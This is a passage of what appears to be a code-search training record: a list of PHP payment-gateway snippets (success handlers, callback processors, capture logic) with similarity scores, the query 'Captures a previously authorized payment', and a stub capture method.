Mage::app()->getLayout()->getBlock('collectorbank_success');\n\t\t\t\t\tif ($block){\n\t\t\t\t\t\tif($orderDetails['purchase']['purchaseIdentifier']){\n\t\t\t\t\t\t\t$block->setInvoiceNo($orderDetails['purchase']['purchaseIdentifier']);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$block->setCode(222);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$this->renderLayout();\t\t\t\t\t\n\t\t\t} \t\t\t\n\t\t} \n\t\t\n\t\t} else {\n\t\t\tMage::log('Order is already generated.', null, $logFileName);\t\t\n\t\t\t$this->loadLayout(); \n\t\t\t$block = Mage::app()->getLayout()->getBlock('collectorbank_success');\n\t\t\tif ($block){\n\t\t\t\t$block->setCode(111);\n\t\t\t}\n\t\t\t$this->renderLayout();\n\t\t}\n\n\t\tMage::log('----------------- END ------------------------------- ', null, $logFileName);\t\t\n\t}", "public function actionReturn(){\r\n\r\n $success = 0;\r\n $id_bill = null;\r\n\r\n $id_bill = Tools::rPOST('ik_pm_no');\r\n if (Tools::rPOST('ik_inv_st') == 'success') {\r\n $success = 1;\r\n }\r\n\r\n $view = $this->getView('bill/payment_status.php');\r\n\r\n\r\n $bill = new Bill($id_bill);\r\n\r\n $view->success = $success;\r\n\r\n if ($bill->type == Bill::TYPE_INC) {\r\n $bills = array();\r\n foreach (explode('|', $bill->inc) as $id_bill) {\r\n $bills[] = $id_bill;\r\n }\r\n $view->bills = $bills;\r\n }\r\n\r\n\r\n $view->bill = $bill;\r\n\r\n $this->layout->import('content', $view);\r\n\r\n }", "public function isSuccessful()\n {\n return $this->data['status'];\n }", "public function getSuccessMessageText()\r\n {\r\n return $this->scopeConfig->getValue(\r\n self::XML_PATH_SUCCESS_MESSAGE_TEXT,\r\n ScopeInterface::SCOPE_STORE\r\n );\r\n }", "public function testSendSuccess()\n {\n $this->setMockHttpResponse('AuthorizeRequestSuccess.txt');\n\n /** @var AuthorizeResponse $response */\n $this->request->setUserName($this->userName);\n $this->request->setPassword($this->password);\n $response = $this->request->send();\n\n $this->assertTrue($response->isSuccessful());\n $this->assertTrue($response->isRedirect());\n $this->assertEquals($response->getRedirectMethod(), 'GET');\n $this->assertEmpty($response->getRedirectData());\n $this->assertNull($response->getCode());\n $this->assertNull($response->getMessage());\n $this->assertEquals($response->getOrderId(), '61351fbd-ac25-484f-b930-4d0ce4101ab7');\n $this->assertEquals(\n $response->getRedirectUrl(),\n 'https://3dsec.sberbank.ru/payment/merchants/kinohod/payment_ru.html?mdOrder=61351fbd-ac25-484f-b930-4d0ce4101ab7'\n );\n }", "public function wasSuccess() {\n return $this->requestStatus;\n }", "public function completeOrderSuccess()\n {\n return response()->view('weixin.repair-order.complete-order-success');\n }", "public function isSuccessful()\n {\n if (!isset($this->data['error'])) {\n return $this->data['code'] === 'SUCCESS' && $this->data['transactionResponse']['state'] === 'APPROVED';\n }\n return false;\n }", "public function getSuccess(): ?string\n {\n return $this->success;\n }", "static function finish_transaction($status = true)\n {\n header('Content-Type: application/json');\n $resultArray = $status === TRUE ?\n [\n \"ResultDesc\" => \"Confirmation Service request accepted successfully\",\n \"ResultCode\" => \"0\"\n ] :\n [\n \"ResultDesc\" => \"Confirmation Service not accepted\",\n \"ResultCode\" => \"1\"\n ];\n echo json_encode($resultArray);\n }", "public function isSuccessful()\n {\n return isset($this->data['customer_id']) && !empty($this->data['customer_id'])\n && isset($this->data['success']) && $this->data['success']\n && (!isset($this->data['ERROR']) || empty($this->data['ERROR']));\n }", "public function success()\n {\n setcookie(\"shoppingCart\", \"\", time() - 3600, \"/\");\n return $this->twig->render('checkout/success.html.twig');\n }", "function successful_request($atos_response) {\n\t\t\tglobal $woocommerce;\n\n\t\t\tif (isset($atos_response)) {\n\t\t\t\n\t\t\t\ttry {\n\t\t\t\t\tswitch ($atos_response['code_reponse']) {\n\t\t\t\t\t\t// transaction authorised\n\t\t\t\t\t\tcase 'ok':\n\t\t\t\t\t\t\t$transauthorised = true;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t$transauthorised = false;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\tif ($transauthorised == true) {\n\t\t\t\t\t\t\n\n\t\t\t\t\t\t// put code here to update/store the order with the a successful transaction result\n\t\t\t\t\t\t$order_id \t \t= $atos_response['order_id'];\n\t\t\t\t\t\t$order = &new WC_Order( $order_id );\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\tif ($order->status !== 'completed') {\n\t\t\t\t\t\t\tif ($order->status == 'processing') {\n\t\t\t\t\t\t\t\t// This is the second call - do nothing\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$order->payment_complete();\n\t\t\t\t\t\t\t\t//Add admin order note\n\t\t\t\t\t\t\t\t$order->add_order_note('Paiement Atos: REUSSI<br><br>Référence Transaction: ' . $order_id);\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$order->add_order_note('info<br><br>Response Code: ' . $atos_response['real_response_code'] . '<br> Bank Code:' . $atos_response['real_code']);\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t//Add customer order note\n\t\t\t\t\t\t\t\t$order->add_order_note('Paiement réussi','customer');\n\t\t\t\t\t\t\t\t// Empty the Cart\n\t\t\t\t\t\t\t\t$woocommerce->cart->empty_cart();\n\t\t\t\t\t\t\t\t//update order status\n\t\t\t\t\t\t\t\t$order->update_status('processing');\n\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// put code here to update/store the order with the a failed transaction result\n\t\t\t\t\t\t$order_id \t \t= $atos_response['order_id'];\n\t\t\t\t\t\t$order \t\t\t= new woocommerce_order( (int) $order_id );\t\t\t\t\t\n\t\t\t\t\t\t$order->update_status('failed');\n\t\t\t\t\t\t//Add admin order note\n\t\t\t\t\t\t$order->add_order_note('Paiement Atos: ECHEC<br><br>Référence Transaction: ' . $order_id);\n\t\t\t\t\t\t//Add customer order note\n\t\t\t\t\t\t$order->add_order_note('Paiement échoué','customer');\n\t\t\t\t\t}\n\t\t\t\t} catch (Exception $e) {\n\t\t\t\t\t//$nOutputProcessedOK = 30;\n\t\t\t\t\t//$szOutputMessage = \"Error updating website system, please ask the developer to check code\";\n\t\t\t\t}\n\t\t\t\t//echo string back for gateway to read - this confirms the script ran correctly.\n\t\t\t\t//echo(\"StatusCode=\".$nOutputProcessedOK.\"&Message=\".$szOutputMessage);\n\t\t\t}\n\t\t}", "public function getSuccessCount()\n {\n return $this->success_count;\n }", "public function isSuccessful()\r\n {\r\n // 訂單請求過銀聯后必須用origRespCode來判斷支付是否成功\r\n if (isset($this->data['origRespCode'])) {\r\n if ($this->data['origRespCode'] === '00') {\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }\r\n\r\n // 訂單沒有請求過銀聯用respCode來判斷支付是否成功\r\n return isset($this->data['respCode']) && $this->data['respCode'] === '00';\r\n }", "public function execute()\n {\n try {\n $paymentResponse = $this->getRequest()->getPost();\n $objectManager = \\Magento\\Framework\\App\\ObjectManager::getInstance();\n $messageMessenger = $objectManager->get('Magento\\Framework\\Message\\ManagerInterface');\n\n if ($paymentResponse) {\n $responseCode = (string)$paymentResponse['TURKPOS_RETVAL_Sonuc'];\n $orderId = (string)$paymentResponse['TURKPOS_RETVAL_Siparis_ID'];\n $order = $this->orderFactory->create()->load($orderId, 'increment_id');\n\n if ($this->config->isAllowDebug()) {\n $this->logger->info(__('Response from Param for order id %1', $order->getId()));\n $this->logger->info(__('Response code: %1', $responseCode));\n }\n\n if ($order->getId()) {\n if ($responseCode == self::SUCCESS_STATUS) {\n $transactionId = (string)$paymentResponse['TURKPOS_RETVAL_Islem_ID'];\n $order->getPayment()->addData([\n 'cc_trans_id' => $transactionId, \n 'tranRes' => $paymentResponse['TURKPOS_RETVAL_Sonuc_Str'],\n 'tranDate' => $paymentResponse['TURKPOS_RETVAL_Islem_Tarih'],\n 'tranAmount' => $paymentResponse['TURKPOS_RETVAL_Tahsilat_Tutari'],\n 'docId' => $paymentResponse['TURKPOS_RETVAL_Dekont_ID'],\n 'tranResponseCode' => $paymentResponse['TURKPOS_RETVAL_Banka_Sonuc_Kod'],\n ])->save();\n \n $order->getPayment()->getMethodInstance()->capture($order->getPayment(), $order->getGrandTotal());\n $redirectUrl = $this->frontendUrlBuilder->setScope($order->getStoreId())->getUrl('checkout/onepage/success');\n $messageMessenger->addSuccess($paymentResponse['TURKPOS_RETVAL_Sonuc_Str']);\n return $this->resultRedirectFactory->create()->setUrl($redirectUrl);\n } else {\n $order->getPayment()->addData([\n 'tranRes' => $paymentResponse['TURKPOS_RETVAL_Sonuc_Str'],\n 'tranDate' => $paymentResponse['TURKPOS_RETVAL_Islem_Tarih'],\n 'tranResponseCode' => $paymentResponse['TURKPOS_RETVAL_Banka_Sonuc_Kod'],\n ])->save();\n \n $order->getPayment()->setAdditionalInformation('tranRes', $order->getPayment()->getData('tranRes'));\n $order->getPayment()->setAdditionalInformation('tranDate', $order->getPayment()->getData('tranDate'));\n $order->getPayment()->setAdditionalInformation('tranResponseCode', $order->getPayment()->getData('tranResponseCode'));\n $this->paymentResource->save($order->getPayment());\n \n $redirectUrl = $this->frontendUrlBuilder->setScope($order->getStoreId())->getUrl('checkout/onepage/failure');\n $messageMessenger->addError($paymentResponse['TURKPOS_RETVAL_Sonuc_Str']);\n return $this->resultRedirectFactory->create()->setUrl($redirectUrl);\n }\n }\n }\n } catch (Exception $e) {\n $this->logger->critical($e->getMessage());\n }\n\n if ($checkoutFailPage = $this->config->getCheckoutFailurePage()) {\n $redirectUrl = $this->pageHelper->getPageUrl($checkoutFailPage);\n return $this->resultRedirectFactory->create()->setUrl($redirectUrl);\n }\n\n return $this->resultRedirectFactory->create()->setPath('checkout/onepage/failure');\n }", "function successpayment()\n {\n\n /* Check for allowed IP */\n if ($this->config['allow_ip']) {\n $allowed_ip = explode(',', $this->config['allow_ip']);\n $valid_ip = in_array($_SERVER['REMOTE_ADDR'], $allowed_ip);\n if (!$valid_ip) {\n // TODO log\n return false;\n }\n }\n\n $response['orderId'] = $_POST['orderId'];\n $response['serviceName'] = $_POST['serviceName'];\n $response['eshopAccount'] = $_POST['eshopAccount'];\n $response['paymentStatus'] = $_POST['paymentStatus'];\n $response['userName'] = $_POST['userName'];\n $response['userEmail'] = $_POST['userEmail'];\n $response['paymentData'] = $_POST['paymentData'];\n $response['hash'] = $_POST['hash'];\n\n if (!empty($response['hash'])) {\n\n $order = uc_order_load($response['orderId']);\n if (!count($order))\n trigger_error('RBK Money : Полученный orderId (' . $response['orderId'] . ') не найден в базе', E_USER_WARNING);\n\n $string = $this->config['eshopId'] . '::' . $response['orderId'] . '::' . $response['serviceName'] . '::' . $response['eshopAccount'] . '::' . number_format($order->order_total, 2, '.', '') . '::' . $this->config['recipientCurrency'] . '::' . $response['paymentStatus'] . '::' . $response['userName'] . '::' . $response['userEmail'] . '::' . $response['paymentData'] . '::' . $this->config['secretKey'];\n $crc = md5($string);\n\n if ($response['hash'] == $crc) {\n list($dataBill) = $this->qs('*', array('id' => $response['orderId']));\n switch ($response['paymentStatus']) {\n case self::STATUS_PROCESS:\n $this->owner->payTransaction($dataBill['owner_id'], PAY_PAID);\n /*uc_order_update_status($response['orderId'], 'processing');\n uc_order_comment_save($response['orderId'], $order->uid, t('RBK Money: payment processing'), $type = 'admin', $status = 1, $notify = FALSE);*/\n break;\n case self::STATUS_SUCCESS:\n $this->owner->payTransaction($dataBill['owner_id'], PAY_PAID);\n /*uc_payment_enter($response['orderId'], 'RBK Money', $order->order_total, $order->uid, NULL, NULL);\n uc_cart_complete_sale($order);\n uc_order_comment_save($response['orderId'], $order->uid, t('RBK Money: payment successful'), $type = 'admin', $status = 1, $notify = FALSE);*/\n break;\n }\n } elseif ($response['hash'] !== $crc) {\n /*uc_order_update_status($response['orderId'], 'canceled');\n uc_order_comment_save($response['orderId'], $order->uid, t('MD5 checksum fail, possible fraud. Order canceled'), $type = 'admin', $status = 1, $notify = FALSE);\n watchdog('uc_rbkmoney', 'MD5 checksum fail, possible fraud. Order canceled');*/\n trigger_error('RBK Money : Полученный hash не верный', E_USER_WARNING);\n }\n }\n }", "public function callbackSuccess()\n {\n $this->di->get(\"response\")->redirect(\"user\")->send();\n }", "public function getCallbackSuccess()\n {\n return $this->callbackSuccess;\n }", "public function initiateBankTransfer()\n {\n $transaction = $this->HttpRequest();\n return $this->getTransactionResponse($transaction);\n }", "function isSuccess()\n\t{\n\t\treturn($this->getStatus() == 'SUCCESS');\n\t}", "public function isRequestSuccessful()\n {\n return strtolower($this->transaction->getMessages()->getResultCode()) === 'ok';\n }", "public function runSuccess();", "public function success()\n {\n return ( \n ! empty($this->result) \n && $this->result->getStatus() == 'Success' \n && $this->result->getCode() == 200 );\n }", "public function transactionSucceeded ($resultsArr);", "public function success_payment() {\n \n // Check if the current user is admin and if session exists\n $this->check_session($this->user_role, 0);\n \n // Require the Payments interface\n require_once APPPATH . 'interfaces/Payments.php';\n\n // Verify if the get param pay-return exits\n if ( get_instance()->input->get('pay-return', TRUE) ) {\n \n $pay = get_instance()->input->get('pay-return', TRUE);\n\n if ( file_exists(APPPATH . 'payments/' . ucfirst($pay) . '.php') ) {\n\n require_once APPPATH . 'payments/' . ucfirst($pay) . '.php';\n\n // Call the class\n $pay_class = ucfirst(str_replace('-', '_', $pay));\n\n $get = new $pay_class;\n\n $get->save();\n\n } else {\n\n display_mess(47);\n\n }\n \n }\n \n }", "public function isSuccess():bool;", "public function successAction()\n\t{\n\t\t$this->_redirect('checkout/onepage/success', array('_secure'=>true));\n\t}", "public static function getSuccess(): array\n {\n return self::$success;\n }", "public function testSuccessSend()\n {\n $gateway = $this->app[CoinmarketcapGateway::class];\n $response = $gateway->send('/v1/cryptocurrency/info?id=1,2');\n $this->assertIsString($response);\n $response = json_decode($response, true);\n if (!config('cryptocurrencies.coinmarketcap.api_key')) {\n $this->assertEquals(401, array_get($response, 'status.error_code'));\n } else {\n $this->assertEquals(0, array_get($response, 'status.error_code'));\n }\n }", "public function SuccessContent()\n {\n if ($object = $this->NewObject()) {\n $message = $this->Data()->SuccessMessage;\n return $this->editingMessageWithKeywords($object, $message);\n }\n }" ]
[ "0.7133406", "0.69798625", "0.6828248", "0.67694485", "0.67593855", "0.66722095", "0.66648996", "0.6640299", "0.6631771", "0.658675", "0.65101814", "0.6499094", "0.6447091", "0.643705", "0.64227873", "0.64056164", "0.6358123", "0.6290487", "0.628145", "0.62810165", "0.6223035", "0.62006897", "0.61901844", "0.618575", "0.61733925", "0.61691797", "0.61426586", "0.6104171", "0.6099156", "0.6089266", "0.6086168", "0.6079293", "0.6078017", "0.6073531", "0.60684395", "0.60541755", "0.6051283", "0.6049847", "0.6031957", "0.6031957", "0.6031957", "0.6031957", "0.60266227", "0.5995171", "0.59946895", "0.59892476", "0.59819806", "0.5973897", "0.59565985", "0.59360266", "0.5930094", "0.59285873", "0.5925695", "0.59168935", "0.58968884", "0.5895169", "0.5884004", "0.5873328", "0.5873328", "0.58529675", "0.58507395", "0.58474594", "0.58313197", "0.5827439", "0.5823122", "0.58160853", "0.5803449", "0.5802755", "0.58009106", "0.5788013", "0.5770864", "0.57688946", "0.57616043", "0.5753116", "0.5744489", "0.57444537", "0.5738587", "0.57338184", "0.5732799", "0.57141805", "0.56913674", "0.5690803", "0.56845206", "0.5677612", "0.5673776", "0.566813", "0.5667199", "0.56664914", "0.5661784", "0.56606764", "0.5645788", "0.5644998", "0.563079", "0.56282", "0.5619462", "0.56144893", "0.5608671", "0.5608172", "0.5604598", "0.56035465" ]
0.5623324
94
Captures a previously authorized payment
public function capture($reference_id, $transaction_id, $amount, array $invoice_amounts=null) { $this->Input->setErrors($this->getCommonError("unsupported")); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function record_subscription_payment() { }", "function _doCapt($oID, $amt = 0, $currency = 'USD') {\r\n global $db, $messageStack;\r\n\r\n //@TODO: Read current order status and determine best status to set this to\r\n $new_order_status = MODULE_PAYMENT_AUTHORIZENET_ECHECK_ORDER_STATUS_ID;\r\n if ($new_order_status == 0) $new_order_status = 1;\r\n\r\n $proceedToCapture = true;\r\n $captureNote = strip_tags(zen_db_input($_POST['captnote']));\r\n if (isset($_POST['captconfirm']) && $_POST['captconfirm'] == 'on') {\r\n } else {\r\n $messageStack->add_session(MODULE_PAYMENT_AUTHORIZENET_ECHECK_TEXT_CAPTURE_CONFIRM_ERROR, 'error');\r\n $proceedToCapture = false;\r\n }\r\n if (isset($_POST['btndocapture']) && $_POST['btndocapture'] == MODULE_PAYMENT_AUTHORIZENET_ECHECK_ENTRY_CAPTURE_BUTTON_TEXT) {\r\n $captureAmt = (float)$_POST['captamt'];\r\n/*\r\n if ($captureAmt == 0) {\r\n $messageStack->add_session(MODULE_PAYMENT_AUTHORIZENET_ECHECK_TEXT_INVALID_CAPTURE_AMOUNT, 'error');\r\n $proceedToCapture = false;\r\n }\r\n*/\r\n }\r\n if (isset($_POST['captauthid']) && trim($_POST['captauthid']) != '') {\r\n // okay to proceed\r\n } else {\r\n $messageStack->add_session(MODULE_PAYMENT_AUTHORIZENET_ECHECK_TEXT_TRANS_ID_REQUIRED_ERROR, 'error');\r\n $proceedToCapture = false;\r\n }\r\n /**\r\n * Submit capture request to Authorize.net\r\n */\r\n if ($proceedToCapture) {\r\n // Populate an array that contains all of the data to be sent to Authorize.net\r\n unset($submit_data);\r\n $submit_data = array(\r\n 'x_type' => 'PRIOR_AUTH_CAPTURE',\r\n 'x_amount' => number_format($captureAmt, 2),\r\n 'x_trans_id' => strip_tags(trim($_POST['captauthid'])),\r\n// 'x_invoice_num' => $new_order_id,\r\n// 'x_po_num' => $order->info['po_number'],\r\n// 'x_freight' => $order->info['shipping_cost'],\r\n// 'x_tax_exempt' => 'FALSE', /* 'TRUE' or 'FALSE' */\r\n// 'x_tax' => $order->info['tax'],\r\n );\r\n\r\n $response = $this->_sendRequest($submit_data);\r\n $response_code = $response[0];\r\n $response_text = $response[3];\r\n $response_alert = $response_text . ($this->commError == '' ? '' : ' Communications Error - Please notify webmaster.');\r\n $this->reportable_submit_data['Note'] = $captureNote;\r\n $this->_debugActions($response);\r\n\r\n if ($response_code != '1' || ($response[0]==1 && $response[2] == 311) ) {\r\n $messageStack->add_session($response_alert, 'error');\r\n } else {\r\n // Success, so save the results\r\n $sql_data_array = array('orders_id' => (int)$oID,\r\n 'orders_status_id' => (int)$new_order_status,\r\n 'date_added' => 'now()',\r\n 'comments' => 'FUNDS COLLECTED. Auth Code: ' . $response[4] . \"\\n\" . 'Trans ID: ' . $response[6] . \"\\n\" . ' Amount: ' . ($response[9] == 0.00 ? 'Full Amount' : $response[9]) . \"\\n\" . 'Time: ' . date('Y-m-D h:i:s') . \"\\n\" . $captureNote,\r\n 'customer_notified' => 0\r\n );\r\n zen_db_perform(TABLE_ORDERS_STATUS_HISTORY, $sql_data_array);\r\n $db->Execute(\"update \" . TABLE_ORDERS . \"\r\n set orders_status = '\" . (int)$new_order_status . \"'\r\n where orders_id = '\" . (int)$oID . \"'\");\r\n $messageStack->add_session(sprintf(MODULE_PAYMENT_AUTHORIZENET_ECHECK_TEXT_CAPT_INITIATED, ($response[9] == 0.00 ? 'Full Amount' : $response[9]), $response[6], $response[4]), 'success');\r\n return true;\r\n }\r\n }\r\n return false;\r\n }", "public function processPayment();", "abstract protected function handlePayment();", "public function hookPaymentReturn()\n {\n }", "public function bluepay_capture_payment($params)\n\t{\n\t\t$this->_api_method = 'CAPTURE';\n\t\t$this->_request = $this->_build_request($params);\t\t\t\n\t\treturn $this->_handle_query();\n\t}", "public function capture(Token $token, int $amount): Payment;", "public function capture(Varien_Object $payment, $amount)\r\n\t{\r\n\t\t$error = false;\r\n\t\t$session = Mage::getSingleton('checkout/session');\r\n\t\t$mode = $this->getConfigData('mode');\r\n\t\t$nVersion = $this->getVersion();\r\n\t\t\r\n\t\tif($amount <= 0)\r\n\t\t{\r\n\t\t\tMage::throwException(Mage::helper('paygate')->__('Invalid amount for authorization.'));\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif($session->getThreedsecurerequired())\r\n\t\t\t{\r\n\t\t\t\t$md = $session->getMd();\r\n\t\t\t\t$pares = $session->getPares();\r\n\t\t\t\t\r\n\t\t\t\t$session->setThreedsecurerequired(null);\r\n\t\t\t\t$this->_run3DSecureTransaction($payment, $pares, $md);\r\n\t\t\t\t\r\n\t\t\t\treturn $this;\r\n\t\t\t}\r\n\t\t\tif($session->getRedirectedpayment())\r\n\t\t\t{\r\n\t\t\t\t$szStatusCode = $session->getStatuscode();\r\n\t\t\t\t$szMessage = $session->getMessage();\r\n\t\t\t\t$szPreviousStatusCode = $session->getPreviousstatuscode();\r\n\t\t\t\t$szPreviousMessage = $session->getPreviousmessage();\r\n\t\t\t\t$szOrderID = $session->getOrderid();\r\n\t\t\t\t// check whether it is a hosted payment or a transparent redirect action\r\n\t\t\t\t$boIsHostedPaymentAction = $session->getIshostedpayment();\r\n\t\t\t\t\r\n\t\t\t\t$session->setRedirectedpayment(null);\r\n\t\t\t\t$session->setIshostedpayment(null);\r\n\t\t\t\t$this->_runRedirectedPaymentComplete($payment, $boIsHostedPaymentAction, $szStatusCode, $szMessage, $szPreviousStatusCode, $szPreviousMessage, $szOrderID);\r\n\t\t\t\t\r\n\t\t\t\treturn $this;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tif($session->getIsCollectionCrossReferenceTransaction())\r\n\t\t\t{\r\n\t\t\t\t// do a CrossReference transaction\r\n\t\t\t\t$error = $this->_runCrossReferenceTransaction($payment, \"COLLECTION\", $amount);\r\n\t\t\t}\r\n\t\t\telse \r\n\t\t\t{\r\n\t\t\t\t// fresh payment request\r\n\t\t\t\t$session->setThreedsecurerequired(null)\r\n\t\t\t\t\t\t->setRedirectedpayment(null)\r\n\t\t\t\t\t\t->setIshostedpayment(null)\r\n\t\t\t\t\t\t->setHostedPayment(null)\r\n\t\t\t\t\t\t->setMd(null)\r\n\t\t\t\t\t\t->setPareq(null)\r\n\t\t\t\t\t\t->setAcsurl(null)\r\n\t\t\t\t\t\t->setPaymentprocessorresponse(null);\r\n\t\t\t\t\r\n\t\t\t\t$payment->setAmount($amount);\r\n\t\t\t\t\r\n\t\t\t \tswitch ($mode)\r\n\t\t\t \t{\r\n\t\t\t \t\tcase Paymentsense_Paymentsensegateway_Model_Source_PaymentMode::PAYMENT_MODE_DIRECT_API:\r\n\t\t\t \t\t\t$error = $this->_runTransaction($payment, $amount);\r\n\t\t\t \t\t\tbreak;\r\n\t\t\t \t\tcase Paymentsense_Paymentsensegateway_Model_Source_PaymentMode::PAYMENT_MODE_HOSTED_PAYMENT_FORM:\r\n\t\t\t \t\t\t$error = $this->_runHostedPaymentTransaction($payment, $amount);\r\n\t\t\t \t\t\tbreak;\r\n\t\t\t \t\tcase Paymentsense_Paymentsensegateway_Model_Source_PaymentMode::PAYMENT_MODE_TRANSPARENT_REDIRECT:\r\n\t\t\t \t\t\t$error = $this->_runTransparentRedirectTransaction($payment, $amount);\r\n\t\t\t \t\t\tbreak;\r\n\t\t\t \t\tdefault:\r\n\t\t\t \t\t\tMage::throwException('Invalid payment type: '.$this->getConfigData('mode'));\r\n\t\t\t \t\t\tbreak;\r\n\t\t\t \t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\tif($error)\r\n\t\t{\r\n\t\t\tMage::throwException($error);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif($nVersion == 1324 || $nVersion == 1330)\r\n\t\t\t{\r\n\t\t\t\t$payment->setIsInvoicePaid(true);\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\treturn $this;\r\n\t}", "private function _captureAuthorizedPayment(Varien_Object $payment)\r\n {\r\n \t$error = false;\r\n \t$session = Mage::getSingleton('checkout/session');\r\n \t\r\n \ttry\r\n \t{\r\n \t\t// set the COLLECTION variable to true\r\n \t\t$session->setIsCollectionCrossReferenceTransaction(true);\r\n \t\t\r\n\t \t$invoice = $payment->getOrder()->prepareInvoice();\r\n\t $invoice->register();\r\n\t \r\n\t if ($this->_canCapture)\r\n\t {\r\n\t $invoice->capture();\r\n\t }\r\n\t\r\n\t $payment->getOrder()->addRelatedObject($invoice);\r\n\t \t$payment->setCreatedInvoice($invoice);\r\n \t}\r\n \tcatch(Exception $exc)\r\n \t{\r\n \t\t$error = \"Couldn't capture pre-authorized payment. Message: \".$exc->getMessage();\r\n \t\tMage::log($exc->getMessage());\r\n \t}\r\n \t\r\n \t// remove the COLLECTION session variable once finished the COLLECTION attempt\r\n \t$session->setIsCollectionCrossReferenceTransaction(null);\r\n \t\r\n \treturn $error;\r\n }", "protected function _captureAuthorized(Varien_Object $payment, $amount)\n {\n // Has the payment already been authorized?\n if ($payment->getCcTransId()) {\n // Convert the capture amount to the correct currency\n $captureAmount = $this->_getWrapper()->getCaptureAmount($payment->getOrder(), $amount);\n // Check to see if the transaction has already been captured\n $lastTransactionId = $payment->getLastTransId();\n if ($lastTransactionId) {\n try {\n $this->_getWrapper()->init($payment->getOrder()->getStoreId());\n $transaction = Braintree\\Transaction::find($lastTransactionId);\n // Has the transaction already been settled? or submitted for the settlement?\n // Also treat settling transaction as being process. Case #828048\n if (isset($transaction->id) &&\n (\n $transaction->status == Braintree\\Transaction::SUBMITTED_FOR_SETTLEMENT ||\n $transaction->status == Braintree\\Transaction::SETTLED ||\n $transaction->status == Braintree\\Transaction::SETTLING\n )\n ) {\n // Do the capture amounts match?\n if ($captureAmount == $transaction->amount) {\n // We can just approve the invoice\n $this->_updateKountStatus($payment, 'A');\n $payment->setStatus(self::STATUS_APPROVED);\n return $this;\n }\n }\n } catch (Exception $e) {\n // Unable to load transaction, so process as below\n }\n }\n // Has the authorization already been settled? Partial invoicing\n if ($this->authorizationUsed($payment)) {\n // Set the token as false\n $token = false;\n // Was the original payment created with a token?\n if ($additionalInfoToken = $payment->getAdditionalInformation('token')) {\n try {\n // Init the environment\n $this->_getWrapper()->init($payment->getOrder()->getStoreId());\n // Attempt to find the token\n Braintree\\PaymentMethod::find($additionalInfoToken);\n // Set the token if a success\n $token = $additionalInfoToken;\n } catch (Exception $e) {\n $token = false;\n }\n }\n // If we managed to find a token use that for the capture\n if ($token) {\n // Stop processing the rest of the method\n // We pass $amount instead of $captureAmount as the authorize function contains the conversion\n $this->_authorize($payment, $amount, true, $token);\n return $this;\n } else {\n // Attempt to clone the transaction\n $result = $this->_getWrapper()->init(\n $payment->getOrder()->getStoreId()\n )->cloneTransaction($lastTransactionId, $captureAmount);\n }\n } else {\n // Init the environment\n $result = $this->_getWrapper()->init(\n $payment->getOrder()->getStoreId()\n )->submitForSettlement($payment->getCcTransId(), $captureAmount);\n // Log the result\n Gene_Braintree_Model_Debug::log(array('capture:submitForSettlement' => $result));\n }\n if ($result->success) {\n $this->_updateKountStatus($payment, 'A');\n $this->_processSuccessResult($payment, $result, $amount);\n } elseif ($result->errors->deepSize() > 0) {\n // Clean up\n Gene_Braintree_Model_Wrapper_Braintree::cleanUp();\n Mage::throwException($this->_getWrapper()->parseErrors($result->errors->deepAll()));\n } else {\n // Clean up\n Gene_Braintree_Model_Wrapper_Braintree::cleanUp();\n Mage::throwException(\n $result->transaction->processorSettlementResponseCode.':\n '.$result->transaction->processorSettlementResponseText\n );\n }\n } else {\n // Otherwise we need to do an auth & capture at once\n $this->_authorize($payment, $amount, true);\n }\n return $this;\n }", "function woocommerce_stripe_capture_payment( $order_id ) {\n\t\t$order = new WC_Order( $order_id );\n\n\t\tif ( $order->payment_method == 'stripe' ) {\n\t\t\t$charge = get_post_meta( $order_id, '_stripe_charge_id', true );\n\t\t\t$captured = get_post_meta( $order_id, '_stripe_charge_captured', true );\n\n\t\t\tif ( $charge && $captured == 'no' ) {\n\t\t\t\t$stripe = new WC_Gateway_Stripe();\n\n\t\t\t\t$result = $stripe->stripe_request( array(\n\t\t\t\t\t'amount' => $order->order_total * 100\n\t\t\t\t), 'charges/' . $charge . '/capture' );\n\n\t\t\t\tif ( is_wp_error( $result ) ) {\n\t\t\t\t\t$order->add_order_note( __( 'Unable to capture charge!', 'wc_stripe' ) . ' ' . $result->get_error_message() );\n\t\t\t\t} else {\n\t\t\t\t\t$order->add_order_note( sprintf( __('Stripe charge complete (Charge ID: %s)', 'wc_stripe' ), $result->id ) );\n\t\t\t\t\tupdate_post_meta( $order->id, '_stripe_charge_captured', 'yes' );\n\n\t\t\t\t\t// Store other data such as fees\n\t\t\t\t\tupdate_post_meta( $order->id, 'Stripe Payment ID', $result->id );\n\t\t\t\t\tupdate_post_meta( $order->id, 'Stripe Fee', number_format( $result->fee / 100, 2, '.', '' ) );\n\t\t\t\t\tupdate_post_meta( $order->id, 'Net Revenue From Stripe', ( $order->order_total - number_format( $result->fee / 100, 2, '.', '' ) ) );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public function capture(Varien_Object $payment, $amount) {\r\n\t\tif( $this->_debug ) Mage::log('capture()', null, 'authnetcim.log');\r\n\t\r\n\t\t$post = Mage::app()->getRequest()->getParam('payment');\r\n\t\t$profile_id = 0;\r\n\t\t\r\n\t\tif( !empty($post['payment_id']) && empty($post['cc_number']) ) {\r\n\t\t\t$profile_id = intval( $post['payment_id'] );\r\n\t\t\t\r\n\t\t\t$payment->getOrder()->setExtCustomerId( $profile_id 